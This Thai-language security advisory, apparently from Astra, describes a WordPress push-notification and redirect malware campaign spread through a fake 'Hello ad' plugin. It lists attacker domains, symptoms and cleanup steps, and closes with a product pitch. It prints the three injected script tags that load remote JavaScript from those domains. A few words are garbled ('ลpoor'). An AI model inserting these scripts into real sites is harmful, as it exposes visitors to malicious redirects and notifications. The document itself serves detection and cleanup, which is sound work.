นักวิจัยความปลอดภัย Astra ติดตาม มัลแวร์ Push Notifications บน WordPress มาหลายสัปดาห์ แคมเปญนี้รวมกับแคมเปญ Redirect ที่ดำเนินมานาน โดเมนอันตรายที่พบ: inpagepush.com, asoulrox.com, iclickcdn.com, justcannabis.online, 0.realhelpcompany.ga, fast.helpmart.ga/m.js?w=085 ฯลฯ
แฮกเกอร์ติดตั้งปลั๊กอินปลอมชื่อ 'Hello ad' ที่ดูเหมือนปลั๊กอินจริง เพื่อฉีดโค้ด JavaScript อันตราย
อาการของมัลแวร์ Push Notifications
- Push Notifications ลpoor/เสียหาย: ผู้เยี่ยมชมเห็นการแจ้งเตือนลpoor/เสียหายเมื่อเข้าชมเว็บ
- Website Redirect: คลิกลิงก์ในเว็บแล้วถูกส่งไปหน้าอันตราย (inpagepush.com, asoulrox.com, iclickcdn.com)
- พบปลั๊กอินแปลก: ปลั๊กอิน 'Hello ad' ถูกติดตั้งโดยไม่รู้ตัว
- เฉพาะอุปกรณ์/มือถือ: มัลแวร์ซ่อนตัวดี อาจแสดงเฉพาะมือถือ หรือ Redirect เฉพาะผู้ใช้ใหม่
กรณีปลั๊กอิน Hello Ad ร้ายแรง
ปลั๊กอินนี้ฉีด JavaScript ดังนี้:
<script>(function(s,u,z,p){s.src=u,s.setAttribute('data-zone',z),p.appendChild(s);})(document.createElement('script'),'https://iclickcdn.com/tag.min.js',3336627,document.body||document.documentElement)</script>
<script src="https://asoulrox.com/pfe/current/tag.min.js?z=3336643" data-cfasync="false" async></script>
<script type="text/javascript" src="//inpagepush.com/400/3336649" data-cfasync="false" async="async"></script>วิธีแก้ไข
- ตรวจสอบไฟล์ที่แฮกเกอร์ชอบโจมตี:
index.php,wp-content/themes/{themeName}/functions.php,wp-config.php, ไฟล์ Core Theme,.htaccess - ลบปลั๊กอิน Hello Ad: ถ้าพบให้ Uninstall ทันที
- แก้ไข Redirect: ตรวจสอบ Database tables, Core theme files, Server config files หาสคริปต์/ทรัพยากรจาก URL ไม่รู้จัก
แฮกเกอร์พัฒนาวิธีการตลอดเวลา การป้องกันอย่างถาวรต้องใช้ชุดความปลอดภัยครบวงจรอย่าง Astra Security Suite
